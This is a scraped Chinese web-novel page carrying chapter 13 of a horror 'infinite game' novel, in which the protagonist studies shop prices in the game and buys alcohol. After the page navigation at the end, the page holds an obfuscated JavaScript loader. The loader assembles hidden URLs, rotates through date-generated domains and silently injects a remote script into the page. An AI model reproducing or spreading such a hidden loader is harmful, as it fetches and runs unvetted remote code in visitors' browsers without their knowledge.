返回

13、塞壬小镇 我在惊悚游戏里封神(无限)

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

守馆人站在门口静静矗立着望着他们远去,身后是无数隐隐约约的雕塑轮廓,慢慢在黑夜里探出大理石没有表情的脸部,好似从海里探出水面的鱼类,而守馆人静立不动没有瞳仁的样子,在夜晚里,几乎分不出他和他背后那些隐隐攒动的雕塑的区别。

【主线任务:探索塞壬博物馆完成——积分奖励50】

【目前积分余额81,是否购买道具?】

81啊……白柳摸了摸下巴,询问:【有没有高浓度酒精?】

【开启商铺——有,一瓶6l,9积分】

…..6l啊,居然一瓶有这么多,也太便宜了。

一个强光手电筒都要10积分,而6l的酒精却只要9积分,上次那个3d投影仪三个也只要8积分,但是白柳记得他上次看到那个【烈焰火把】,这种消耗品一个居然要20积分…

他眼睛眯了眯,看向菜单栏上【烈焰火把】和【3d投影仪】后面的字眼——【有商品的价格发生变动】。

【烈焰火把价格下调至17积分】

【3d投影仪恢复原价,6积分一个】

这两个他之前注意过的道具都有了价格变动。

白柳若有所思,【强光手电筒】和【烈焰火把】这种一听在恐怖游戏里比较常见有效的使用道具,似乎价格就更高。

但是似乎是在他用过某些道具之后,这些道具的价格就发生了一定变化,而他是知道他处于一个直播系统中的…白柳猜测应该是在他游戏的这段时间内,购买这些道具的玩家数量发生了变化,从而导致了道具的价格发生了变化。

也就是说这些道具的积分定价应该不是和实用性直接挂钩的,而是和市场需求挂钩的,也就是贵的道具不一定更好用。

这倒是和白柳设计的恐怖游戏的道具的思路倒是不一样,他都是越贵的道具越好用,没想到这个游戏里居然是供需市场来定价的。

白柳这下彻底放心了,没必要为了通关特地去追求高价道具了。

这可以为他省下一笔不小的积分。

白柳很是阔绰:【全要了】

【9瓶高浓度酒精装入玩家白柳的购物袋,欢迎下次惠顾】

在小电视面前的王舜看白柳这样着急地拍了一下大~腿


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();